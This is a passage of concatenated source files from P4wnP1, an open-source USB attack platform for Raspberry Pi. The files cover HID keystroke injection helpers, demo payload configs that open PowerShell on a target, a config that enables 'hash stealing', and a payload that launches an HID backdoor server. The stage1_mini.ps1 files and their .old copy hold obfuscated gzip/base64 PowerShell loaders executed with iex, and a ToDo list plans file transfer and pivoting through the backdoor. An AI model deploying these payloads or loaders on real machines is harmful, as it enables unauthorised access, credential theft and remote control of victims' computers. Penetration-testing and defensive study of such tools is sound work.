You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | 22 | # Transform raw input to match output for the HID report descriptor in use 23 | # Author: MaMe82 aka. Marcus Mengs 24 | 25 | import sys 26 | import time 27 | 28 | 29 | data = sys.stdin.read() 30 | with open("/dev/hidg0","wb") as f: 31 | for i in range(0, len(data), 2): 32 | out = "" 33 | key = ord(data[i:i+1]) 34 | if len(data[i+1:i+2]) == 0: 35 | continue 36 | mod = ord(data[i+1:i+2]) 37 | if (key == 0): 38 | # delay code 39 | d = float(mod)/1000.0 40 | time.sleep(d) 41 | out = chr(mod) + '\x00' + chr(key) + '\x00\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' 42 | f.write(out) 43 | f.flush() 44 | # no delay between keypresses (hanfled by HID gadget) 45 | #time.sleep(0.01) 46 | -------------------------------------------------------------------------------- /hidtools/backdoor/Config.py: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | class Config: 21 | def __init__(self, configfile): 22 | self.conf = Config.conf_to_dict(configfile) 23 | 24 | @staticmethod 25 | def conf_to_dict(filename): 26 | result_dict={} 27 | lines=[] 28 | with open(filename,"r") as f: 29 | lines= f.readlines() 30 | for l in lines: 31 | # remove comment from line 32 | l=l.split("#")[0] 33 | # remove line breaks 34 | l=l.strip().replace("\r\n","").replace("\n","") 35 | 36 | # skip empty lines 37 | if len(l) == 0: 38 | continue 39 | 40 | splitted = l.split("=", 1) 41 | key = splitted[0].strip() 42 | val = splitted[1].strip() 43 | result_dict[key]=val 44 | 45 | return result_dict 46 | 47 | 48 | #test = Config("config.txt") 49 | #for item in test: 50 | # print item 51 | -------------------------------------------------------------------------------- /ssh/genkeys.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # This file is part of P4wnP1. 4 | # 5 | # Copyright (c) 2017, Marcus Mengs. 6 | # 7 | # P4wnP1 is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # P4wnP1 is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with P4wnP1. If not, see . 19 | 20 | 21 | wdir=$( cd $(dirname $BASH_SOURCE[0]) && cd .. && pwd) 22 | source $wdir/setup.cfg 23 | 24 | DEFAULT_COMMENT="AutoSSH reachback" 25 | 26 | read -p "Enter target filename for keypair ($AUTOSSH_PRIVATE_KEY): " PRIVATE_KEY 27 | PRIVATE_KEY=${PRIVATE_KEY:-"$AUTOSSH_PRIVATE_KEY"} 28 | 29 | read -p "Enter comment for public key ($DEFAULT_COMMENT): " COMMENT 30 | COMMENT=${COMMENT:-"$DEFAULT_COMMENT"} 31 | 32 | echo "Generating keys at $AUTOSSH_PRIVATE_KEY ..." 33 | ssh-keygen -q -N "" -C "$COMMENT" -f $AUTOSSH_PRIVATE_KEY && SUCCESS=true 34 | echo "... done" 35 | ls -la $AUTOSSH_PRIVATE_KEY* 36 | 37 | if $SUCCESS; then 38 | echo 39 | echo 40 | echo "Use \"$wdir/ssh/pushkey.sh\"" 41 | echo "in order to promote the public key to a remote SSH server" 42 | fi 43 | -------------------------------------------------------------------------------- /conf/raw_report_desc.txt: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 21 | 0x09, 0x01, // Usage (0x01) 22 | 0xA1, 0x01, // Collection (Application) 23 | 0x09, 0x01, // Usage (0x01) 24 | 0x15, 0x00, // Logical Minimum (0) 25 | 0x26, 0xFF, 0x00, // Logical Maximum (255) 26 | 0x75, 0x08, // Report Size (8) 27 | 0x95, 0x40, // Report Count (64) 28 | 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position) 29 | 0x09, 0x02, // Usage (0x02) 30 | 0x15, 0x00, // Logical Minimum (0) 31 | 0x26, 0xFF, 0x00, // Logical Maximum (255) 32 | 0x75, 0x08, // Report Size (8) 33 | 0x95, 0x40, // Report Count (64) 34 | 0x91, 0x02, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Non-volatile) 35 | 0xC0, // End Collection 36 | -------------------------------------------------------------------------------- /payloads/stickykey/payload.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | # P4wnP1 demo payload by MaMe82 20 | # ========================== 21 | # 22 | 23 | # ============================= 24 | # USB setup 25 | # ============================= 26 | USB_VID="0x1d6b" # Vendor ID 27 | USB_PID="0x1004" # Product ID 28 | USE_ECM=false # we need no Linux/Mac networking 29 | USE_RNDIS=true # RNDIS network device to enable hash stealing 30 | USE_HID=true # HID keyboard to allow entering cracked password 31 | USE_UMS=false # enable USB Mass Storage 32 | 33 | # Keyboard language for outhid and duckhid commands 34 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi", 35 | # "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us" 36 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET 37 | 38 | function onKeyboardUp() 39 | { 40 | # execute DuckyScript responsible for bringing up PowerShell 41 | cat $wdir/DuckyScripts/stickykey.duck | duckhid 42 | } 43 | 44 | 45 | -------------------------------------------------------------------------------- /payloads/stickykey/remove.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | # 23 | 24 | # ============================= 25 | # USB setup 26 | # ============================= 27 | USB_VID="0x1d6b" # Vendor ID 28 | USB_PID="0x1004" # Product ID 29 | USE_ECM=false # we need no Linux/Mac networking 30 | USE_RNDIS=true # RNDIS network device to enable hash stealing 31 | USE_HID=true # HID keyboard to allow entering cracked password 32 | USE_UMS=false # enable USB Mass Storage 33 | 34 | # Keyboard language for outhid and duckhid commands 35 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi", 36 | # "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us" 37 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET 38 | 39 | function onKeyboardUp() 40 | { 41 | # execute DuckyScript responsible for bringing up PowerShell 42 | cat $wdir/DuckyScripts/stickykey_remove.duck | duckhid 43 | } 44 | 45 | 46 | -------------------------------------------------------------------------------- /payloads/hid_keyboard.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | # 23 | # Emulates a HID keyboard and prints out "Keyboard is Running" 24 | # Uses NUMLOCK LED test, to check if target is ready to receive keystrokes 25 | 26 | 27 | # ============================= 28 | # USB setup 29 | # ============================= 30 | # Make sure to change USB_PID if you enable different USB functionality in order 31 | # to force Windows to enumerate the device again 32 | USB_VID="0x1d6b" # Vendor ID 33 | USB_PID="0x110c" # Product ID 34 | 35 | # Overwrite default settings (setup.cfg) for keyboard funtion 36 | USE_RNDIS=true # if true RNDIS will be enabled 37 | USE_HID=true # if true HID (keyboard) will be enabled 38 | 39 | # use LED based HID keyboard test, to fire callback to onKeyboardUp() 40 | HID_KEYBOARD_TEST=true 41 | 42 | # overwrite defaul keyboard language 43 | lang="us" 44 | 45 | function onKeyboardUp() 46 | { 47 | # we need no initial keyboard delay, before starting the DuckyScript 48 | # if this method gets called, we know the HID keyboard stack is usable 49 | 50 | cat <<- EOF | duckhid 51 | GUI r 52 | DELAY 500 53 | STRING notepad.exe 54 | ENTER 55 | DELAY 1000 56 | EOF 57 | echo "Keyboard is running" | outhid 58 | } 59 | 60 | -------------------------------------------------------------------------------- /hidtools/payload_delivery/stage1_mini.ps1: -------------------------------------------------------------------------------- 1 | $b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() 2 | -------------------------------------------------------------------------------- /hidtools/frontdoor/stage1_mini.ps1: -------------------------------------------------------------------------------- 1 | $b='H4sIAAAAAAAEAKVXbW/bNhD+PqD/QVC9WUZsQU7SLAhgbImdtAGa1qiTdZgjBLR0srlIpEFRbo0u/313JCXbaV2gaILEEnn33HOvpF/80rqbXDz8dT0a+P3RyYX/wi6MaSHqH/2OC1klEs2l8D5AlkOihwqYhiueww3ohUyDzotfvqBeKgtv4E3Pl8uRLBgX8dnZsFIKhLbvJMJQ4h186r2f/YtINSKCh+dlCcUsX79jBQT+DbuB08PRWtTLPhppsRmqk51wBBkXgPus4EktEyB+15tugV4WXDfIFxXPU1DnSQJlieQ+VIJACwPKZruYNzKt8m0idsHveq0rlpdAmtpoFrXm7XrZKKCcP65mOU+63jBnZWn4JxlFCPWchoufv4mov8vfCpxrrfis0lDGG9SJZponJH8t9FirGJ+IwTSOvT+D6QRVxDy220eH9HDXPG007vbveh1DOeWUVIyV5gWEuAdKLiegVhzDGI7y/LpYSqUbjnH4GvRQilKrKtFSBRsyFjBjBnDj5BWHPL0WmXTUf9CWUQ/8S6HVeiy50H6n+8OEHchYQYmSMOHzn0CZgH7LSn2plFQ/ATNkeY5hw1iusIcwUj+DtWAKafkuBdnKJMF2oQ37bhG2blUFzcdeo19RxLb6yAVb8u8pWS4oel5paQkl+weD6eFhVWpZNK65Vg6oPLtE/hGUgPzoMEzznMJEZWb+o6eu80K0+QwmMJZtK4fWf9PEuPK0Nfc2kcFCBlZcKVmMgJwZM70IWkWR5Oivq3KvtcRVNxMXZkLgPs7CBiUwEk1rRn8PI/tDS+9DEtkMKWDpR8U1bBrz7OwfjOdGFicT4OL7JYhNH0efj7dAtxXNICVaxOBCyhyYiCOK0WB6wxMlS5npELOI0ZywDN4wkeaYNnomc/b9eZuXQWcaxbXHCSZ9JR/RUxPdjA32O0Z0BkSmRSlzMTk53iLXt+Qcgs3Bt+z3j5GAAl0p8ZzCdjpLEOlDyjQLWhnioeFSViqhhxRKTR+4iR8KEuArSF0u+YCiNFvjHN4t1gtcmsZecPKqUwtMW/zgIKYeo9fYi/ZtONt7t4nR/k3kGb4FMdeLvTK1E+b0RfGhXK5vZWCl0UlOnFNYUShCk5BmD0vHPjobz+KIadiOo4uS+l5sEmUOcGeNSiBoqW7Utbs2wApoij3wlESV9QeXS5XsLqSlfiYhnqmoZLW7UJTzb7MjXWQwPVeKrenegkEiZhge/EM1GwwrVVcYMqJaMRWDO1QwycqK7wYKK3V7XLgLF0q6m5aL3Jvr0euKpwP/y3Hah1evZoe9rH+S9fr9JOudniazXhT18Yea+ih6opuZxBwkC+T/qeAYVY8Lb46PnuneB4THDtFK5jkoy8D779cvU5SIg9YDXkJwZKQ4uDtPXsdDCjxroEIrfz3yegXTZMOvifvegdf+DXk/tPHJr73wO14PR4O3F6CNDradUE9I3Ui6k8FQoOKg6Yh58u/v/7gnY7Xc+N24BsXaWeYsgaB93+62XyIsMnlphF0YTQqeNoD2hUYxQu+5yaIAiQ52M+bVjjcJ23QMYn3/dLDT354J1AASD0VU6tFMKzWbwyF5StduKJZ6/e3yjLBC8HZjyuTTgswGTRPtjmUMLHgtUeW5Lapm1jVd50X464xFxuHkEYhS086NqCsIK4HT3YBHFjjBwuKiAhPWbbH+frFWpbNTGk238FmHlyKRKR2YZ2d3t1enNM/tCdpAHccdh02KId54lS4/cuwhn9xaAL7PMPh15QUuvL25RvuWwAzdetyQ/ApoBnMutqFcM9aJwhBN6ZjBk4juNjQf3+LNHS95BOLZ6YqkPZtM385IwG8Ixl5NqAlInfQDHExEpjGFC/2vbQV+6CCf9hFxgOin/Z4DKWlw+Ow5W3YY4a0sz9fum5qrnWEuS3PbaVZGvFy6NVT6H8d3IaseDgAA';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() 2 | -------------------------------------------------------------------------------- /hidtools/payload_delivery/stage1_mini.ps1.old: -------------------------------------------------------------------------------- 1 | $b='H4sIAAAAAAAEAKVXbW/bNhD+PqD/QVC9WUZsQU7SLAhgbImdtAGa1qiTdZgjBLR0srlIpEFRbo0u/313JCXbaV2gaILEEnn33HOvpF/80rqbXDz8dT0a+P3RyYX/wi6MaSHqH/2OC1klEs2l8D5AlkOihwqYhiueww3ohUyDzotfvqBeKgtv4E3Pl8uRLBgX8dnZsFIKhLbvJMJQ4h186r2f/YtINSKCh+dlCcUsX79jBQT+DbuB08PRWtTLPhppsRmqk51wBBkXgPus4EktEyB+15tugV4WXDfIFxXPU1DnSQJlieQ+VIJACwPKZruYNzKt8m0idsHveq0rlpdAmtpoFrXm7XrZKKCcP65mOU+63jBnZWn4JxlFCPWchoufv4mov8vfCpxrrfis0lDGG9SJZponJH8t9FirGJ+IwTSOvT+D6QRVxDy220eH9HDXPG007vbveh1DOeWUVIyV5gWEuAdKLiegVhzDGI7y/LpYSqUbjnH4GvRQilKrKtFSBRsyFjBjBnDj5BWHPL0WmXTUf9CWUQ/8S6HVeiy50H6n+8OEHchYQYmSMOHzn0CZgH7LSn2plFQ/ATNkeY5hw1iusIcwUj+DtWAKafkuBdnKJMF2oQ37bhG2blUFzcdeo19RxLb6yAVb8u8pWS4oel5paQkl+weD6eFhVWpZNK65Vg6oPLtE/hGUgPzoMEzznMJEZWb+o6eu80K0+QwmMJZtK4fWf9PEuPK0Nfc2kcFCBlZcKVmMgJwZM70IWkWR5Oivq3KvtcRVNxMXZkLgPs7CBiUwEk1rRn8PI/tDS+9DEtkMKWDpR8U1bBrz7OwfjOdGFicT4OL7JYhNH0efj7dAtxXNICVaxOBCyhyYiCOK0WB6wxMlS5npELOI0ZywDN4wkeaYNnomc/b9eZuXQWcaxbXHCSZ9JR/RUxPdjA32O0Z0BkSmRSlzMTk53iLXt+Qcgs3Bt+z3j5GAAl0p8ZzCdjpLEOlDyjQLWhnioeFSViqhhxRKTR+4iR8KEuArSF0u+YCiNFvjHN4t1gtcmsZecPKqUwtMW/zgIKYeo9fYi/ZtONt7t4nR/k3kGb4FMdeLvTK1E+b0RfGhXK5vZWCl0UlOnFNYUShCk5BmD0vHPjobz+KIadiOo4uS+l5sEmUOcGeNSiBoqW7Utbs2wApoij3wlESV9QeXS5XsLqSlfiYhnqmoZLW7UJTzb7MjXWQwPVeKrenegkEiZhge/EM1GwwrVVcYMqJaMRWDO1QwycqK7wYKK3V7XLgLF0q6m5aL3Jvr0euKpwP/y3Hah1evZoe9rH+S9fr9JOudniazXhT18Yea+ih6opuZxBwkC+T/qeAYVY8Lb46PnuneB4THDtFK5jkoy8D779cvU5SIg9YDXkJwZKQ4uDtPXsdDCjxroEIrfz3yegXTZMOvifvegdf+DXk/tPHJr73wO14PR4O3F6CNDradUE9I3Ui6k8FQoOKg6Yh58u/v/7gnY7Xc+N24BsXaWeYsgaB93+62XyIsMnlphF0YTQqeNoD2hUYxQu+5yaIAiQ52M+bVjjcJ23QMYn3/dLDT354J1AASD0VU6tFMKzWbwyF5StduKJZ6/e3yjLBC8HZjyuTTgswGTRPtjmUMLHgtUeW5Lapm1jVd50X464xFxuHkEYhS086NqCsIK4HT3YBHFjjBwuKiAhPWbbH+frFWpbNTGk238FmHlyKRKR2YZ2d3t1enNM/tCdpAHccdh02KId54lS4/cuwhn9xaAL7PMPh15QUuvL25RvuWwAzdetyQ/ApoBnMutqFcM9aJwhBN6ZjBk4juNjQf3+LNHS95BOLZ6YqkPZtM385IwG8Ixl5NqAlInfQDHExEpjGFC/2vbQV+6CCf9hFxgOin/Z4DKWlw+Ow5W3YY4a0sz9fum5qrnWEuS3PbaVZGvFy6NVT6H8d3IaseDgAA';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() 2 | -------------------------------------------------------------------------------- /boot/init_hid_keyboard.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | # 22 | # Declares function used in conjunction with HID keyboard 23 | 24 | # output raw ASCII to HID keyboard 25 | function outhid() 26 | { 27 | # cat | python $wdir/duckencoder/duckencoder.py -l $lang -r | python $wdir/transhid.py > /dev/hidg0 28 | cat | python $wdir/duckencoder/duckencoder.py -l $lang -r | python $wdir/hidtools/transhid.py 29 | } 30 | 31 | # output DUCKY SCRIPT to HID keyboard 32 | function duckhid() 33 | { 34 | # cat | python $wdir/duckencoder/duckencoder.py -l $lang -p | python $wdir/transhid.py > /dev/hidg0 35 | cat | python $wdir/duckencoder/duckencoder.py -l $lang -p | python $wdir/hidtools/transhid.py 36 | } 37 | 38 | # Blocks till NUMLOCK, CAPSLOCK or SCROLLLOCK has been hit 5 time on targets keyboard 39 | # return value define which key was hit 40 | function key_trigger() 41 | { 42 | sudo python $wdir/hidtools/watchhidled.py trigger 43 | return $? 44 | } 45 | 46 | # reads LEDs from keyboard device till something is sent 47 | # as this is done on driver init, we use it as trigger for HID keyboard beeing ready 48 | 49 | #function detect_HID_keyboard() 50 | #{ 51 | # echo "Waiting for HID keyboard to be usable..." 52 | # 53 | # # blocking read of LED status 54 | # python -c "with open('/dev/hidg0','rb') as f: print ord(f.read(1))" 55 | # # fire 'onKeyboardUp' after read has succeeded 56 | # declare -f onKeyboardUp > /dev/null && onKeyboardUp 57 | # 58 | #} 59 | -------------------------------------------------------------------------------- /payloads/hid_backdoor.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | 23 | 24 | # ============================= 25 | # USB setup 26 | # ============================= 27 | # Make sure to change USB_PID if you enable different USB functionality in order 28 | # to force Windows to enumerate the device again 29 | USB_VID="0x1D6B" # Vendor ID 30 | USB_PID="0x0437" # Product ID 31 | 32 | USE_ECM=false # if true CDC ECM will be enabled 33 | USE_RNDIS=false # if true RNDIS will be enabled 34 | USE_HID=true # if true HID (keyboard) will be enabled 35 | USE_RAWHID=true # if true HID raw device will be enabled 36 | USE_UMS=false # if true USB Mass Storage will be enabled 37 | 38 | # disable setting of static routes for all IPv4 addresses 39 | ROUTE_SPOOF=false 40 | 41 | # use LED based HID keyboard test 42 | USE_HID_TEST=true 43 | 44 | # overwrite keyboard language from setup.cfg 45 | lang="us" 46 | 47 | # blink one time when payload script get's initiated 48 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login 49 | 50 | WIFI_ACCESSPOINT=true # enable WiFi AccessPoint 51 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP) 52 | 53 | function onKeyboardUp() 54 | { 55 | 56 | 57 | # start HID Server 58 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/backdoor; python P4wnP1.py" 59 | 60 | # blink two times when hid keyboard is usable and HID server is started 61 | led_blink 2 62 | } 63 | 64 | 65 | # commands in this function are ran on user login 66 | # the commans are ran by user "pi" 67 | function onLogin() 68 | { 69 | led_blink 3 70 | sudo screen -d -r 71 | return 72 | } 73 | -------------------------------------------------------------------------------- /ToDo.txt: -------------------------------------------------------------------------------- 1 | 1) [DONE] fix issues in duckencoder.py 2 | 3 | flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics 4 | 5 | ./hidtools/backdoor/DuckEncoder.py:190:43: F821 undefined name 'key_entry' 6 | print "Error: No keycode entry for " + key_entry 7 | ^ 8 | 9 | ./hidtools/backdoor/DuckEncoder.py:392:17: F821 undefined name 'parseScriptLine' 10 | result += parseScriptLine(lastLine, keyProp, langProp) 11 | ^ 12 | 13 | 2) [DONE] get rid of doubled duckencoder (symlink the submodule or add ./duckencoder to pythons module path) 14 | 15 | 3) [DONE] Add option to change AP name 16 | 17 | 4) [DONE] Add menue driven lagunage selection, "SetKeyboardLanguage without parametes gives a menu 18 | 19 | 5) [Open] Add filesystem browsing commands for target (analog to local command lcd, lpwd, lls) --> preparation for file transfer 20 | - [partially] FileSystem class for payload created: https://github.com/mame82/P4wnP1_HID_backdoor_client/blob/master/P4wnP1/FileSystem.cs 21 | - [open] Create payload functions to acces filesystem commands 22 | - [open] create callers and handlers for the remote functions on server 23 | 24 | 6) [open] refine backdoor payload, to alter language setting of the backdoor server based on language setting of payload (usability) 25 | 26 | 7) [open] Rework duckencoder.py: https://github.com/mame82/duckencoder.py/pull/2 (automated testing has to be deployed) 27 | 28 | Future: 29 | 30 | 8) Integrate file transfer 31 | - Write classes for asynchronous, thread based file transfer channels 32 | - Implement protocol methods for control channel 33 | - needed capabilities: 34 | UploadRAM (uupload file to memory only, to be able to run in memory PS scripts for example) 35 | UploadDisc 36 | Download 37 | 38 | 9) Integrate HID tunneled socket communication 39 | - MileStone far, far awy 40 | - Listener sockets + connect sockets 41 | 42 | 10) Socks4a / Socks5 43 | - after basic socket integration to have a multiplexed pivot channel 44 | 45 | 11) Refine USB Mass Storage Support 46 | - make it configurable (allow CD-Rom emulation with mounted iso) 47 | - mount flashdrive image to P4wnP1 local file system, when not used by payload 48 | 49 | 12) Allow changing USB modes, whil payload is running 50 | - needs full rework of the payload mechanism (callbacks would have to be called multiple times, maybe iterative payload design instead) 51 | - example use case: Run network attack, save captured data to internally mounted USB flashdrive image, reinit USB stack to mimic a flashdrive and present the captured data 52 | -------------------------------------------------------------------------------- /payloads/hakin9_tutorial/payload.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the 